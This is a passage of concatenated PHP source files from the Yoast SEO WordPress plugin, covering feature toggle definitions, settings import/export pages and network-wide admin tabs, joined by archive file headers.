		if ( WPSEO_Options::get( 'enable_xml_sitemap' ) ) {
			$xml_sitemap_extra = '<a href="' . esc_url( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) )
				. '" target="_blank">' . esc_html__( 'See the XML sitemap.', 'wordpress-seo' ) . '</a>';
		}

		$feature_toggles = [
			(object) [
				'name'            => __( 'SEO analysis', 'wordpress-seo' ),
				'setting'         => 'keyword_analysis_active',
				'label'           => __( 'The SEO analysis offers suggestions to improve the SEO of your text.', 'wordpress-seo' ),
				'read_more_label' => __( 'Learn how the SEO analysis can help you rank.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/2ak',
				'order'           => 10,
			],
			(object) [
				'name'            => __( 'Readability analysis', 'wordpress-seo' ),
				'setting'         => 'content_analysis_active',
				'label'           => __( 'The readability analysis offers suggestions to improve the structure and style of your text.', 'wordpress-seo' ),
				'read_more_label' => __( 'Discover why readability is important for SEO.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/2ao',
				'order'           => 20,
			],
			(object) [
				'name'                => __( 'Inclusive language analysis', 'wordpress-seo' ),
				'supported_languages' => Language_Helper::$languages_with_inclusive_language_support,
				'setting'             => 'inclusive_language_analysis_active',
				'label'               => __( 'The inclusive language analysis offers suggestions to write more inclusive copy.', 'wordpress-seo' ),
				'read_more_label'     => __( 'Discover why inclusive language is important for SEO.', 'wordpress-seo' ),
				'read_more_url'       => 'https://yoa.st/inclusive-language-features-free',
				'order'               => 25,
			],
			(object) [
				'name'            => __( 'Cornerstone content', 'wordpress-seo' ),
				'setting'         => 'enable_cornerstone_content',
				'label'           => __( 'The cornerstone content feature lets you to mark and filter cornerstone content on your website.', 'wordpress-seo' ),
				'read_more_label' => __( 'Find out how cornerstone content can help you improve your site structure.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/dashboard-help-cornerstone',
				'order'           => 30,
			],
			(object) [
				'name'            => __( 'Text link counter', 'wordpress-seo' ),
				'setting'         => 'enable_text_link_counter',
				'label'           => __( 'The text link counter helps you improve your site structure.', 'wordpress-seo' ),
				'read_more_label' => __( 'Find out how the text link counter can enhance your SEO.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/2aj',
				'order'           => 40,
			],
			(object) [
				'name'               => __( 'Insights', 'wordpress-seo' ),
				'setting'            => 'enable_metabox_insights',
				'label'              => __( 'Find relevant data about your content right in the Insights section in the Yoast SEO metabox. You’ll see what words you use most often and if they’re a match with your keywords! ', 'wordpress-seo' ),
				'read_more_label'    => __( 'Find out how Insights can help you improve your content.', 'wordpress-seo' ),
				'read_more_url'      => 'https://yoa.st/4ew',
				'premium_url'        => 'https://yoa.st/2ai',
				'order'              => 41,
			],
			(object) [
				'name'               => __( 'Link suggestions', 'wordpress-seo' ),
				'premium'            => true,
				'setting'            => 'enable_link_suggestions',
				'label'              => __( 'Get relevant internal linking suggestions — while you’re writing! The link suggestions metabox shows a list of posts on your blog with similar content that might be interesting to link to. ', 'wordpress-seo' ),
				'read_more_label'    => __( 'Read more about how internal linking can improve your site structure.', 'wordpress-seo' ),
				'read_more_url'      => 'https://yoa.st/4ev',
				'premium_url'        => 'https://yoa.st/17g',
				'premium_upsell_url' => 'https://yoa.st/get-link-suggestions',
				'order'              => 42,
			],
			(object) [
				'name'            => __( 'XML sitemaps', 'wordpress-seo' ),
				'setting'         => 'enable_xml_sitemap',
				/* translators: %s: Yoast SEO */
				'label'           => sprintf( __( 'Enable the XML sitemaps that %s generates.', 'wordpress-seo' ), 'Yoast SEO' ),
				'read_more_label' => __( 'Read why XML Sitemaps are important for your site.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/2a-',
				'extra'           => $xml_sitemap_extra,
				'after'           => $this->sitemaps_toggle_after(),
				'order'           => 60,
			],
			(object) [
				'name'    => __( 'Admin bar menu', 'wordpress-seo' ),
				'setting' => 'enable_admin_bar_menu',
				/* translators: 1: Yoast SEO */
				'label'   => sprintf( __( 'The %1$s admin bar menu contains useful links to third-party tools for analyzing pages and makes it easy to see if you have new notifications.', 'wordpress-seo' ), 'Yoast SEO' ),
				'order'   => 80,
			],
			(object) [
				'name'    => __( 'Security: no advanced or schema settings for authors', 'wordpress-seo' ),
				'setting' => 'disableadvanced_meta',
				'label'   => sprintf(
					/* translators: 1: Yoast SEO, 2: translated version of "Off" */
					__( 'The advanced section of the %1$s meta box allows a user to remove posts from the search results or change the canonical. The settings in the schema tab allows a user to change schema meta data for a post. These are things you might not want any author to do. That\'s why, by default, only editors and administrators can do this. Setting to "%2$s" allows all users to change these settings.', 'wordpress-seo' ),
					'Yoast SEO',
					__( 'Off', 'wordpress-seo' )
				),
				'order'   => 90,
			],
			(object) [
				'name'            => __( 'Usage tracking', 'wordpress-seo' ),
				'label'           => __( 'Usage tracking', 'wordpress-seo' ),
				'setting'         => 'tracking',
				'read_more_label' => sprintf(
				/* translators: 1: Yoast SEO */
					__( 'Allow us to track some data about your site to improve our plugin.', 'wordpress-seo' ),
					'Yoast SEO'
				),
				'read_more_url'   => 'https://yoa.st/usage-tracking-2',
				'order'           => 95,
			],
			(object) [
				'name'    => __( 'REST API: Head endpoint', 'wordpress-seo' ),
				'setting' => 'enable_headless_rest_endpoints',
				'label'   => sprintf(
					/* translators: 1: Yoast SEO */
					__( 'This %1$s REST API endpoint gives you all the metadata you need for a specific URL. This will make it very easy for headless WordPress sites to use %1$s for all their SEO meta output.', 'wordpress-seo' ),
					'Yoast SEO'
				),
				'order'   => 100,
			],
			(object) [
				'name'            => __( 'Enhanced Slack sharing', 'wordpress-seo' ),
				'setting'         => 'enable_enhanced_slack_sharing',
				'label'           => __( 'This adds an author byline and reading time estimate to the article’s snippet when shared on Slack.', 'wordpress-seo' ),
				'read_more_label' => __( 'Find out how a rich snippet can improve visibility and click-through-rate.', 'wordpress-seo' ),
				'read_more_url'   => 'https://yoa.st/help-slack-share',
				'order'           => 105,
			],
			(object) [
				'name'               => __( 'IndexNow', 'wordpress-seo' ),
				'premium'            => true,
				'setting'            => 'enable_index_now',
				'label'              => __( 'Automatically ping search engines like Bing and Yandex whenever you publish, update or delete a post.', 'wordpress-seo' ),
				'read_more_label'    => __( 'Find out how IndexNow can help your site.', 'wordpress-seo' ),
				'read_more_url'      => 'https://yoa.st/index-now-read-more',
				'premium_url'        => 'https://yoa.st/index-now-feature',
				'premium_upsell_url' => 'https://yoa.st/get-indexnow',
				'order'              => 110,
			],
			(object) [
				'name'               => __( 'AI title & description generator', 'wordpress-seo' ),
				'premium'            => true,
				'setting'            => 'enable_ai_generator',
				'label'              => __( 'Use the power of Yoast AI to automatically generate compelling titles and descriptions for your posts and pages.', 'wordpress-seo' ),
				'read_more_label'    => __( 'Learn more', 'wordpress-seo' ),
				'read_more_url'      => 'https://yoa.st/ai-generator-read-more',
				'premium_url'        => 'https://yoa.st/ai-generator-feature',
				'premium_upsell_url' => 'https://yoa.st/get-ai-generator',
				'order'              => 115,
			],
		];

		/**
		 * Filter to add feature toggles from add-ons.
		 *
		 * @param array $feature_toggles Array with feature toggle objects where each object
		 *                               should have a `name`, `setting` and `label` property.
		 */
		$feature_toggles = apply_filters( 'wpseo_feature_toggles', $feature_toggles );

		$feature_toggles = array_map( [ $this, 'ensure_toggle' ], $feature_toggles );
		usort( $feature_toggles, [ $this, 'sort_toggles_callback' ] );

		return $feature_toggles;
	}

	/**
	 * Returns html for a warning that core sitemaps are enabled when yoast seo sitemaps are disabled.
	 *
	 * @return string HTML string for the warning.
	 */
	protected function sitemaps_toggle_after() {
		$out   = '<div id="yoast-seo-sitemaps-disabled-warning" style="display:none;">';
		$alert = new Alert_Presenter(
			/* translators: %1$s: expands to an opening anchor tag, %2$s: expands to a closing anchor tag */
			sprintf( esc_html__( 'Disabling Yoast SEO\'s XML sitemaps will not disable WordPress\' core sitemaps. In some cases, this %1$s may result in SEO errors on your site%2$s. These may be reported in Google Search Console and other tools.', 'wordpress-seo' ), '<a target="_blank" href="' . WPSEO_Shortlinker::get( 'https://yoa.st/44z' ) . '">', '</a>' ),
			'warning'
		);
		$out .= $alert->present();
		$out .= '</div>';

		return $out;
	}

	/**
	 * Ensures that the passed value is a Yoast_Feature_Toggle.
	 *
	 * @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array
	 *                                                       containing feature toggle data.
	 * @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data.
	 */
	protected function ensure_toggle( $toggle_data ) {
		if ( $toggle_data instanceof Yoast_Feature_Toggle ) {
			return $toggle_data;
		}

		if ( is_object( $toggle_data ) ) {
			$toggle_data = get_object_vars( $toggle_data );
		}

		return new Yoast_Feature_Toggle( $toggle_data );
	}

	/**
	 * Callback for sorting feature toggles by their order.
	 *
	 * {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function
	 * can be replaced with the spaceship operator `<=>`.}
	 *
	 * @param Yoast_Feature_Toggle $feature_a Feature A.
	 * @param Yoast_Feature_Toggle $feature_b Feature B.
	 *
	 * @return int An integer less than, equal to, or greater than zero indicating respectively
	 *             that feature A is considered to be less than, equal to, or greater than feature B.
	 */
	protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) {
		return ( $feature_a->order - $feature_b->order );
	}
}
wordpress-seo/admin/views/js-templates-primary-term.php000064400000002526147510273100017361 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}
?>

<script type="text/html" id="tmpl-primary-term-ui">
	<?php
	/* translators: Hidden accessibility text; %1$s expands to the term title, %2$s to the taxonomy title. */
	$yoast_free_js_button_label = __( 'Make %1$s primary %2$s', 'wordpress-seo' );
	$yoast_free_js_button_label = sprintf(
		$yoast_free_js_button_label,
		'{{data.term}}',
		'{{data.taxonomy.title}}'
	);

	printf(
		'<button type="button" class="wpseo-make-primary-term" aria-label="%1$s">%2$s</button>',
		esc_attr( $yoast_free_js_button_label ),
		esc_html__( 'Make primary', 'wordpress-seo' )
	);
	?>

	<span class="wpseo-is-primary-term" aria-hidden="true"><?php esc_html_e( 'Primary', 'wordpress-seo' ); ?></span>
</script>

<script type="text/html" id="tmpl-primary-term-screen-reader">
	<?php
	/* translators: %s is the taxonomy title. This will be shown to screenreaders */
	$yoast_free_js_taxonomy_title = __( 'Primary %s', 'wordpress-seo' );
	$yoast_free_js_taxonomy_title = sprintf(
		'(' . $yoast_free_js_taxonomy_title . ')',
		'{{data.taxonomy.title}}'
	);
	?>
	<span class="screen-reader-text wpseo-primary-category-label"><?php echo esc_html( $yoast_free_js_taxonomy_title ); ?></span>
</script>
wordpress-seo/admin/views/tool-import-export.php000064400000010314147510273100016121 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$yform            = Yoast_Form::get_instance();
$yoast_seo_import = false;

/**
 * The import method is used to determine if there should be something imported.
 *
 * In case of POST the user is on the Yoast SEO import page and in case of the GET the user sees a notice from
 * Yoast SEO that we can import stuff for that plugin.
 */
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing the variable so no need to sanitize.
if ( isset( $_POST['import_external'] ) && wp_unslash( $_POST['import_external'] ) === __( 'Import', 'wordpress-seo' ) ) {
	check_admin_referer( 'wpseo-import-plugins' );
	if ( isset( $_POST['import_external_plugin'] ) && is_string( $_POST['import_external_plugin'] ) ) {
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are using the variable as a class name.
		$yoast_seo_class = wp_unslash( $_POST['import_external_plugin'] );
		if ( class_exists( $yoast_seo_class ) ) {
			$yoast_seo_import = new WPSEO_Import_Plugin( new $yoast_seo_class(), 'import' );
		}
	}
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing the variable so no need to sanitize.
elseif ( isset( $_POST['clean_external'] ) && wp_unslash( $_POST['clean_external'] ) === __( 'Clean up', 'wordpress-seo' ) ) {
	check_admin_referer( 'wpseo-clean-plugins' );
	if ( isset( $_POST['clean_external_plugin'] ) && is_string( $_POST['clean_external_plugin'] ) ) {
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are using the variable as a class name.
		$yoast_seo_class = wp_unslash( $_POST['clean_external_plugin'] );
		if ( class_exists( $yoast_seo_class ) ) {
			$yoast_seo_import = new WPSEO_Import_Plugin( new $yoast_seo_class(), 'cleanup' );
		}
	}
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing to an empty string.
elseif ( isset( $_POST['settings_import'] ) && wp_unslash( $_POST['settings_import'] ) !== '' ) {
	$yoast_seo_import = new WPSEO_Import_Settings();
	$yoast_seo_import->import();
}

/**
 * Allow custom import actions.
 *
 * @param WPSEO_Import_Status $yoast_seo_import Contains info about the handled import.
 */
$yoast_seo_import = apply_filters( 'wpseo_handle_import', $yoast_seo_import );

if ( $yoast_seo_import ) {

	$yoast_seo_message = '';
	if ( $yoast_seo_import->status instanceof WPSEO_Import_Status ) {
		$yoast_seo_message = $yoast_seo_import->status->get_msg();
	}

	/**
	 * Allow customization of import/export message.
	 *
	 * @param string $yoast_seo_msg The message.
	 */
	$yoast_seo_msg = apply_filters( 'wpseo_import_message', $yoast_seo_message );

	if ( ! empty( $yoast_seo_msg ) ) {
		$yoast_seo_status = 'error';
		if ( $yoast_seo_import->status->status ) {
			$yoast_seo_status = 'updated';
		}

		$yoast_seo_class = 'message ' . $yoast_seo_status;

		echo '<div id="message" class="', esc_attr( $yoast_seo_status ), '"><p>', esc_html( $yoast_seo_msg ), '</p></div>';
	}
}

$yoast_seo_tabs = [
	'wpseo-import' => [
		'label' => __( 'Import settings', 'wordpress-seo' ),
	],
	'wpseo-export' => [
		'label' => __( 'Export settings', 'wordpress-seo' ),
	],
	'import-seo'   => [
		'label' => __( 'Import from other SEO plugins', 'wordpress-seo' ),
	],
];

?>
	<br/><br/>

	<h2 class="nav-tab-wrapper" id="wpseo-tabs">
		<?php foreach ( $yoast_seo_tabs as $identifier => $tab ) : ?>
			<a class="nav-tab" id="<?php echo esc_attr( $identifier . '-tab' ); ?>" href="<?php echo esc_url( '#top#' . $identifier ); ?>"><?php echo esc_html( $tab['label'] ); ?></a>
		<?php endforeach; ?>

		<?php
		/**
		 * Allow adding a custom import tab header.
		 */
		do_action( 'wpseo_import_tab_header' );
		?>
	</h2>

<?php

foreach ( $yoast_seo_tabs as $identifier => $tab ) {
	printf( '<div id="%s" class="wpseotab">', esc_attr( $identifier ) );
	require_once WPSEO_PATH . 'admin/views/tabs/tool/' . $identifier . '.php';
	echo '</div>';
}

/**
 * Allow adding a custom import tab.
 */
do_action( 'wpseo_import_tab_content' );
wordpress-seo/admin/views/tabs/tool/wpseo-export.php000064400000002572147510273100016706 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/* translators: %1$s expands to Yoast SEO */
$submit_button_value = sprintf( __( 'Export your %1$s settings', 'wordpress-seo' ), 'Yoast SEO' );

// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: The nonce will be verified in WPSEO_Export below, We are only strictly comparing with '1'.
if ( isset( $_POST['do_export'] ) && wp_unslash( $_POST['do_export'] ) === '1' ) {
	$export = new WPSEO_Export();
	$export->export();
	return;
}

$wpseo_export_phrase = sprintf(
	/* translators: %1$s expands to Yoast SEO */
	__( 'Export your %1$s settings here, to copy them on another site.', 'wordpress-seo' ),
	'Yoast SEO'
);
?>

<p><?php echo esc_html( $wpseo_export_phrase ); ?></p>
<form
	action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#wpseo-export' ) ); ?>"
	method="post"
	accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
	<?php wp_nonce_field( WPSEO_Export::NONCE_ACTION ); ?>
	<input type="hidden" name="do_export" value="1" />
	<button type="submit" class="button button-primary" id="export-button"><?php echo esc_html( $submit_button_value ); ?></button>
</form>
wordpress-seo/admin/views/tabs/tool/import-seo.php000064400000011144147510273100016323 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

// Determine if we have plugins we can import from. If so, load that tab. Otherwise, load an empty tab.
$import_check = new WPSEO_Import_Plugins_Detector();
$import_check->detect();
if ( count( $import_check->needs_import ) === 0 ) {
	echo '<h2>', esc_html__( 'Import from other SEO plugins', 'wordpress-seo' ), '</h2>';
	echo '<p>';
	printf(
		/* translators: %s expands to Yoast SEO */
		esc_html__( '%s did not detect any plugin data from plugins it can import from.', 'wordpress-seo' ),
		'Yoast SEO'
	);
	echo '</p>';

	return;
}

/**
 * Creates a select box given a name and plugins array.
 *
 * @param string $name    Name field for the select field.
 * @param array  $plugins An array of plugins and classes.
 *
 * @return void
 */
function wpseo_import_external_select( $name, $plugins ) {
	esc_html_e( 'Plugin: ', 'wordpress-seo' );
	echo '<select name="', esc_attr( $name ), '">';
	foreach ( $plugins as $class => $plugin ) {
		/* translators: %s is replaced with the name of the plugin we're importing from. */
		echo '<option value="' . esc_attr( $class ) . '">' . esc_html( $plugin ) . '</option>';
	}
	echo '</select>';
}

?>
<h2><?php esc_html_e( 'Import from other SEO plugins', 'wordpress-seo' ); ?></h2>
<p>
	<?php esc_html_e( 'We\'ve detected data from one or more SEO plugins on your site. Please follow the following steps to import that data:', 'wordpress-seo' ); ?>
</p>

<div class="tab-block">
	<h3><?php esc_html_e( 'Step 1: Create a backup', 'wordpress-seo' ); ?></h3>
	<p>
		<?php esc_html_e( 'Please make a backup of your database before starting this process.', 'wordpress-seo' ); ?>
	</p>
</div>

<div class="tab-block">
	<h3><?php esc_html_e( 'Step 2: Import', 'wordpress-seo' ); ?></h3>
	<p class="yoast-import-explanation">
		<?php
		printf(
			/* translators: 1: expands to Yoast SEO */
			esc_html__( 'This will import the post metadata like SEO titles and descriptions into your %1$s metadata. It will only do this when there is no existing %1$s metadata yet. The original data will remain in place.', 'wordpress-seo' ),
			'Yoast SEO'
		);
		?>
	</p>
	<form action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#import-seo' ) ); ?>"
		method="post" accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
		<?php
		wp_nonce_field( 'wpseo-import-plugins', '_wpnonce', true, true );
		wpseo_import_external_select( 'import_external_plugin', $import_check->needs_import );
		?>
		<?php

		/**
		 * WARNING: This hook is intended for internal use only.
		 * Don't use it in your code as it will be removed shortly.
		 */
		do_action( 'wpseo_import_other_plugins_internal' );

		?>
		<input type="submit" class="button button-primary" name="import_external"
			value="<?php esc_attr_e( 'Import', 'wordpress-seo' ); ?>"/>
	</form>
</div>

<div class="tab-block">
	<h3><?php esc_html_e( 'Step 3: Check your data', 'wordpress-seo' ); ?></h3>
	<p>
		<?php esc_html_e( 'Please check your posts and pages and see if the metadata was successfully imported.', 'wordpress-seo' ); ?>
	</p>
</div>

<div class="tab-block">
	<h3><?php esc_html_e( 'Step 4: Go through the first time configuration', 'wordpress-seo' ); ?></h3>
	<p>
		<?php
		$ftc_page = 'admin.php?page=wpseo_dashboard#/first-time-configuration';
		printf(
			/* translators: 1: Link start tag to the First time configuration tab in the General page, 2: Link closing tag. */
			esc_html__( 'You should finish the %1$sfirst time configuration%2$s to make sure your SEO data has been optimized and you’ve set the essential Yoast SEO settings for your site.', 'wordpress-seo' ),
			'<a href="' . esc_url( admin_url( $ftc_page ) ) . '">',
			'</a>'
		);
		?>
	</p>
</div>

<div class="tab-block">
	<h3><?php esc_html_e( 'Step 5: Clean up', 'wordpress-seo' ); ?></h3>
	<p class="yoast-cleanup-explanation">
		<?php esc_html_e( 'Once you\'re certain your site is OK, you can clean up. This will remove all the original data.', 'wordpress-seo' ); ?>
	</p>
	<form action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#import-seo' ) ); ?>"
		method="post" accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
		<?php
		wp_nonce_field( 'wpseo-clean-plugins', '_wpnonce', true, true );
		wpseo_import_external_select( 'clean_external_plugin', $import_check->needs_import );
		?>
		<input type="submit" class="button button-primary" name="clean_external"
			value="<?php esc_attr_e( 'Clean', 'wordpress-seo' ); ?>"/>
	</form>
</div>
wordpress-seo/admin/views/tabs/tool/wpseo-import.php000064400000002672147510273100016700 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

if ( ! defined( 'WPSEO_NAMESPACES' ) || ! WPSEO_NAMESPACES ) {
	esc_html_e( 'Import of settings is only supported on servers that run PHP 5.3 or higher.', 'wordpress-seo' );
	return;
}
?>
<p id="settings-import-desc">
	<?php
	printf(
		/* translators: 1: expands to Yoast SEO, 2: expands to Import settings. */
		esc_html__( 'Import settings from another %1$s installation by pasting them here and clicking "%2$s".', 'wordpress-seo' ),
		'Yoast SEO',
		esc_html__( 'Import settings', 'wordpress-seo' )
	);
	?>
</p>

<form
	action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#wpseo-import' ) ); ?>"
	method="post"
	accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
	<?php wp_nonce_field( WPSEO_Import_Settings::NONCE_ACTION ); ?>
	<label class="yoast-inline-label" for="settings-import">
		<?php
		printf(
			/* translators: %s expands to Yoast SEO */
			esc_html__( '%s settings to import:', 'wordpress-seo' ),
			'Yoast SEO'
		);
		?>
	</label><br />
	<textarea id="settings-import" rows="10" cols="140" name="settings_import" aria-describedby="settings-import-desc"></textarea><br/>
	<input type="submit" class="button button-primary" value="<?php esc_attr_e( 'Import settings', 'wordpress-seo' ); ?>"/>
</form>
wordpress-seo/admin/views/tabs/network/general.php000064400000004026147510273100016357 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

echo '<div class="tab-block">';

/*
 * {@internal Important: Make sure the options added to the array here are in line with the
 * options set in the WPSEO_Option_MS::$allowed_access_options property.}}
 */
$yform->select(
	'access',
	/* translators: %1$s expands to Yoast SEO */
	sprintf( __( 'Who should have access to the %1$s settings', 'wordpress-seo' ), 'Yoast SEO' ),
	[
		'admin'      => __( 'Site Admins (default)', 'wordpress-seo' ),
		'superadmin' => __( 'Super Admins only', 'wordpress-seo' ),
	]
);

if ( get_blog_count() <= 100 ) {
	$network_admin = new Yoast_Network_Admin();

	$yform->select(
		'defaultblog',
		__( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ),
		$network_admin->get_site_choices( true, true )
	);
	echo '<p>' . esc_html__( 'Choose the site whose settings you want to use as default for all sites that are added to your network. If you choose \'None\', the normal plugin defaults will be used.', 'wordpress-seo' ) . '</p>';
}
else {
	$yform->textinput( 'defaultblog', __( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ) );
	echo '<p>';
	printf(
		/* translators: 1: link open tag; 2: link close tag. */
		esc_html__( 'Enter the %1$sSite ID%2$s for the site whose settings you want to use as default for all sites that are added to your network. Leave empty for none (i.e. the normal plugin defaults will be used).', 'wordpress-seo' ),
		'<a href="' . esc_url( network_admin_url( 'sites.php' ) ) . '">',
		'</a>'
	);
	echo '</p>';
}

echo '<p><strong>' . esc_html__( 'Take note:', 'wordpress-seo' ) . '</strong> ' . esc_html__( 'Privacy sensitive (FB admins and such), theme specific (title rewrite) and a few very site specific settings will not be imported to new sites.', 'wordpress-seo' ) . '</p>';

echo '</div>';
wordpress-seo/admin/views/tabs/network/features.php000064400000007300147510273100016556 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

use Yoast\WP\SEO\Presenters\Admin\Beta_Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$feature_toggles = Yoast_Feature_Toggles::instance()->get_all();

?>
<h2><?php esc_html_e( 'Features', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
	<?php
	printf(
		/* translators: %s expands to Yoast SEO */
		esc_html__( 'This tab allows you to selectively disable %s features for all sites in the network. By default all features are enabled, which allows site admins to choose for themselves if they want to toggle a feature on or off for their site. When you disable a feature here, site admins will not be able to use that feature at all.', 'wordpress-seo' ),
		'Yoast SEO'
	);

	foreach ( $feature_toggles as $feature ) {
		$is_premium      = YoastSEO()->helpers->product->is_premium();
		$premium_version = YoastSEO()->helpers->product->get_premium_version();

		if ( $feature->premium && $feature->premium_version ) {
			$not_supported_in_current_premium_version = $is_premium && version_compare( $premium_version, $feature->premium_version, '<' );

			if ( $not_supported_in_current_premium_version ) {
				continue;
			}
		}

		$help_text = esc_html( $feature->label );
		if ( ! empty( $feature->extra ) ) {
			$help_text .= ' ' . $feature->extra;
		}
		if ( ! empty( $feature->read_more_label ) ) {
			$url = $feature->read_more_url;
			if ( ! empty( $feature->premium ) && $feature->premium === true ) {
				$url = $feature->premium_url;
			}
			$help_text .= sprintf(
				'<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
				esc_url( WPSEO_Shortlinker::get( $url ) ),
				esc_html( $feature->read_more_label )
			);
		}

		$feature_help = new WPSEO_Admin_Help_Panel(
			WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting,
			/* translators: Hidden accessibility text; %s expands to a feature's name. */
			sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $feature->name ) ),
			$help_text
		);

		$name = $feature->name;
		if ( ! empty( $feature->premium ) && $feature->premium === true ) {
			$name .= ' ' . new Premium_Badge_Presenter( $feature->name );
		}

		if ( ! empty( $feature->in_beta ) && $feature->in_beta === true ) {
			$name .= ' ' . new Beta_Badge_Presenter( $feature->name );
		}

		$disabled            = false;
		$show_premium_upsell = false;
		$premium_upsell_url  = '';
		$note_when_disabled  = '';

		if ( $feature->premium === true && YoastSEO()->helpers->product->is_premium() === false ) {
			$disabled            = true;
			$show_premium_upsell = true;
			$premium_upsell_url  = WPSEO_Shortlinker::get( $feature->premium_upsell_url );
		}

		$preserve_disabled_value = false;
		if ( $disabled ) {
			$preserve_disabled_value = true;
		}

		$yform->toggle_switch(
			WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting,
			[
				'on'  => __( 'Allow Control', 'wordpress-seo' ),
				'off' => __( 'Disable', 'wordpress-seo' ),
			],
			$name,
			$feature_help->get_button_html() . $feature_help->get_panel_html(),
			[
				'disabled'                => $disabled,
				'preserve_disabled_value' => $preserve_disabled_value,
				'show_premium_upsell'     => $show_premium_upsell,
				'premium_upsell_url'      => $premium_upsell_url,
				'note_when_disabled'      => $note_when_disabled,
			]
		);
	}
	?>
</div>
<?php
/*
 * Required to prevent our settings framework from saving the default because the field
 * isn't explicitly set when saving the Dashboard page.
 */
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
wordpress-seo/admin/views/tabs/network/integrations.php000064400000006621147510273100017453 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

use Yoast\WP\SEO\Presenters\Admin\Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$integration_toggles = Yoast_Integration_Toggles::instance()->get_all();

?>
	<h2><?php esc_html_e( 'Integrations', 'wordpress-seo' ); ?></h2>
	<div class="yoast-measure">
		<?php
		printf(
		/* translators: %1$s expands to Yoast SEO */
			esc_html__( 'This tab allows you to selectively disable %1$s integrations with third-party products for all sites in the network. By default all integrations are enabled, which allows site admins to choose for themselves if they want to toggle an integration on or off for their site. When you disable an integration here, site admins will not be able to use that integration at all.', 'wordpress-seo' ),
			'Yoast SEO'
		);

		foreach ( $integration_toggles as $integration ) {
			$help_text = esc_html( $integration->label );

			if ( ! empty( $integration->extra ) ) {
				$help_text .= ' ' . $integration->extra;
			}

			if ( ! empty( $integration->read_more_label ) ) {
				$help_text .= ' ';
				$help_text .= sprintf(
					'<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
					esc_url( WPSEO_Shortlinker::get( $integration->read_more_url ) ),
					esc_html( $integration->read_more_label )
				);
			}

			$feature_help = new WPSEO_Admin_Help_Panel(
				WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting,
				/* translators: Hidden accessibility text; %s expands to an integration's name. */
